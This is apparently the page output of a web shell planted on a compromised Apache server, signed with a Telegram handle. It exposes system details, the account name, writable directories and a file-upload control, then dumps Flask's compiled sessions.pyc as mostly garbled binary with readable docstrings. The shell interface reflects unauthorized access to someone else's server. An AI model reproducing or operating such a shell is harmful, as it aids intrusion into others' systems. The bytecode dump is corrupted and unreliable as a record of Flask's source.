https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/flask/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/flask/sessions.pyc
�
-/�_c@sdZddlZddlZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZdd
lm
Z
ddlmZde
jfd
��YZdeefd��YZdefd��YZdefd��YZe�Zdefd��YZdS(s�
    flask.sessions
    ~~~~~~~~~~~~~~

    Implements cookie based sessions based on itsdangerous.

    :copyright: 2010 Pallets
    :license: BSD-3-Clause
i����N(tdatetime(tBadSignature(tURLSafeTimedSerializer(tCallbackDicti(tcollections_abc(tis_ip(t
total_seconds(tTaggedJSONSerializertSessionMixincBsAeZdZed��Zejd��ZeZeZ	eZ
RS(s3Expands a basic dictionary with session attributes.cCs|jdt�S(s3This reflects the ``'_permanent'`` key in the dict.t
_permanent(tgettFalse(tself((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyt	permanentscCst|�|d<dS(NR	(tbool(Rtvalue((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR
!s(t__name__t
__module__t__doc__tpropertyR
tsetterRtnewtTruetmodifiedtaccessed(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRstSecureCookieSessioncBsGeZdZeZeZdd�Zd�Zdd�Z	dd�Z
RS(s	Base class for sessions based on signed cookies.

    This session backend will set the :attr:`modified` and
    :attr:`accessed` attributes. It cannot reliably track whether a
    session is new (vs. empty), so :attr:`new` remains hard coded to
    ``False``.
    cCs&d�}tt|�j||�dS(NcSst|_t|_dS(N(RRR(R((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyt	on_updateLs	(tsuperRt__init__(RtinitialR((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRKs	cCst|_tt|�j|�S(N(RRRRt__getitem__(Rtkey((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRRs	cCs"t|_tt|�j||�S(N(RRRRR
(RRtdefault((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR
Vs	cCs"t|_tt|�j||�S(N(RRRRt
setdefault(RRR ((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR!Zs	N(RRRRRRtNoneRRR
R!(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR5s	tNullSessioncBs8eZdZd�ZeZZZZZZ	Z
[RS(s�Class used to generate nicer error messages if sessions are not
    available.  Will still allow read-only access to the empty session
    but fail on setting.
    cOstd��dS(Ns�The session is unavailable because no secret key was set.  Set the secret_key on the application to something unique and secret.(tRuntimeError(Rtargstkwargs((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyt_failes(RRRR't__setitem__t__delitem__tcleartpoptpopitemtupdateR!(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR#_s	tSessionInterfacecBs}eZdZeZeZd�Zd�Zd�Z	d�Z
d�Zd�Zd�Z
d�Zd	�Zd
�Zd�ZRS(s�The basic interface you have to implement in order to replace the
    default session interface which uses werkzeug's securecookie
    implementation.  The only methods you have to implement are
    :meth:`open_session` and :meth:`save_session`, the others have
    useful defaults which you don't need to change.

    The session object returned by the :meth:`open_session` method has to
    provide a dictionary like interface plus the properties and methods
    from the :class:`SessionMixin`.  We recommend just subclassing a dict
    and adding that mixin::

        class Session(dict, SessionMixin):
            pass

    If :meth:`open_session` returns ``None`` Flask will call into
    :meth:`make_null_session` to create a session that acts as replacement
    if the session support cannot work because some requirement is not
    fulfilled.  The default :class:`NullSession` class that is created
    will complain that the secret key was not set.

    To replace the session interface on an application all you have to do
    is to assign :attr:`flask.Flask.session_interface`::

        app = Flask(__name__)
        app.session_interface = MySessionInterface()

    .. versionadded:: 0.8
    cCs
|j�S(s�Creates a null session which acts as a replacement object if the
        real session support could not be loaded due to a configuration
        error.  This mainly aids the user experience because the job of the
        null session is to still support lookup without complaining but
        modifications are answered with a helpful error message of what
        failed.

        This creates an instance of :attr:`null_session_class` by default.
        (tnull_session_class(Rtapp((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytmake_null_session�s
cCst||j�S(s�Checks if a given object is a null session.  Null sessions are
        not asked to be saved.

        This checks if the object is an instance of :attr:`null_session_class`
        by default.
        (t
isinstanceR/(Rtobj((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytis_null_session�scCs�|jd}|dk	r'|r#|SdS|jd}|sKt|jd<dS|jdd�djd�}d|kr�tjdjd|��t|jd<dSt|�}|r�tjd	�n|j	|�d
kr�|r�d|}n||jd<|S(sMReturns the domain that should be set for the session cookie.

        Uses ``SESSION_COOKIE_DOMAIN`` if it is configured, otherwise
        falls back to detecting the domain based on ``SERVER_NAME``.

        Once detected (or if not set at all), ``SESSION_COOKIE_DOMAIN`` is
        updated to avoid re-running the logic.
        tSESSION_COOKIE_DOMAINtSERVER_NAMEt:iit.s�"{rv}" is not a valid cookie domain, it must contain a ".". Add an entry to your hosts file, for example "{rv}.localdomain", and use that instead.trvs�The session cookie domain is an IP address. This may not work as intended in some browsers. Add an entry to your hosts file, for example "localhost.localdomain", and use that instead.t/N(
tconfigR"RtrsplittlstriptwarningstwarntformatRtget_cookie_path(RR0R9tip((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_cookie_domain�s,



	




cCs|jdp|jdS(sReturns the path for which the cookie should be valid.  The
        default implementation uses the value from the ``SESSION_COOKIE_PATH``
        config var if it's set, and falls back to ``APPLICATION_ROOT`` or
        uses ``/`` if it's ``None``.
        tSESSION_COOKIE_PATHtAPPLICATION_ROOT(R;(RR0((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRA�scCs|jdS(s�Returns True if the session cookie should be httponly.  This
        currently just returns the value of the ``SESSION_COOKIE_HTTPONLY``
        config var.
        tSESSION_COOKIE_HTTPONLY(R;(RR0((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_cookie_httponly�scCs|jdS(s�Returns True if the cookie should be secure.  This currently
        just returns the value of the ``SESSION_COOKIE_SECURE`` setting.
        tSESSION_COOKIE_SECURE(R;(RR0((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_cookie_secure�scCs|jdS(s�Return ``'Strict'`` or ``'Lax'`` if the cookie should use the
        ``SameSite`` attribute. This currently just returns the value of
        the :data:`SESSION_COOKIE_SAMESITE` setting.
        tSESSION_COOKIE_SAMESITE(R;(RR0((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_cookie_samesite�scCs|jrtj�|jSdS(sA helper method that returns an expiration date for the session
        or ``None`` if the session is linked to the browser session.  The
        default implementation returns now + the permanent session
        lifetime configured on the application.
        N(R
Rtutcnowtpermanent_session_lifetime(RR0tsession((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_expiration_times	cCs|jp|jo|jdS(s�Used by session backends to determine if a ``Set-Cookie`` header
        should be set for this session cookie for this response. If the session
        has been modified, the cookie is set. If the session is permanent and
        the ``SESSION_REFRESH_EACH_REQUEST`` config is true, the cookie is
        always set.

        This check is usually skipped if the session was deleted.

        .. versionadded:: 0.11
        tSESSION_REFRESH_EACH_REQUEST(RR
R;(RR0RN((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytshould_set_cookies	cCs
t��dS(s%This method has to be implemented and must either return ``None``
        in case the loading failed because of a configuration error or an
        instance of a session object which implements a dictionary like
        interface + the methods and attributes on :class:`SessionMixin`.
        N(tNotImplementedError(RR0trequest((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytopen_sessionscCs
t��dS(s�This is called for actual sessions returned by :meth:`open_session`
        at the end of the request.  This is still called during a request
        context so if you absolutely need access to the request you can do
        that.
        N(RR(RR0RNtresponse((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytsave_session's(RRRR#R/Rtpickle_basedR1R4RCRARGRIRKRORQRTRV(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyR.ps				:								tSecureCookieSessionInterfacecBsPeZdZdZeej�ZdZe	Z
eZd�Z
d�Zd�ZRS(suThe default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    scookie-sessionthmaccCsM|js
dStd|jd|j�}t|jd|jd|jd|�S(Ntkey_derivationt
digest_methodtsaltt
serializert
signer_kwargs(t
secret_keyR"tdictRZR[RR\R](RR0R^((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pytget_signing_serializerFs				cCs�|j|�}|dkrdS|jj|j�}|sD|j�St|j�}y&|j|d|�}|j|�SWnt	k
r�|j�SXdS(Ntmax_age(
RaR"tcookiesR
tsession_cookie_namet
session_classRRMtloadsR(RR0RStstvalRbtdata((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRTSs

cCs|j|�}|j|�}|sP|jrL|j|jd|d|�ndS|jrl|jjd�n|j||�s�dS|j	|�}|j
|�}|j|�}|j||�}	|j
|�jt|��}
|j|j|
d|	d|d|d|d|d|�dS(NtdomaintpathtCookietexpiresthttponlytsecuretsamesite(RCRARt
delete_cookieRdRtvarytaddRQRGRIRKRORatdumpsR`t
set_cookie(RR0RNRURjRkRnRoRpRmRh((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRVas2		(RRRR\tstaticmethodthashlibtsha1R[RZtsession_json_serializerR]RReRaRTRV(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyRX3s	
	(RRwR>RtitsdangerousRRtwerkzeug.datastructuresRt_compatRthelpersRRtjson.tagRtMutableMappingRRR#tobjectR.RyRX(((s//tmp/pip-install-sTXtzD/flask/flask/sessions.pyt<module>
s *�	

https://t.me/AnonymousX5 - 2025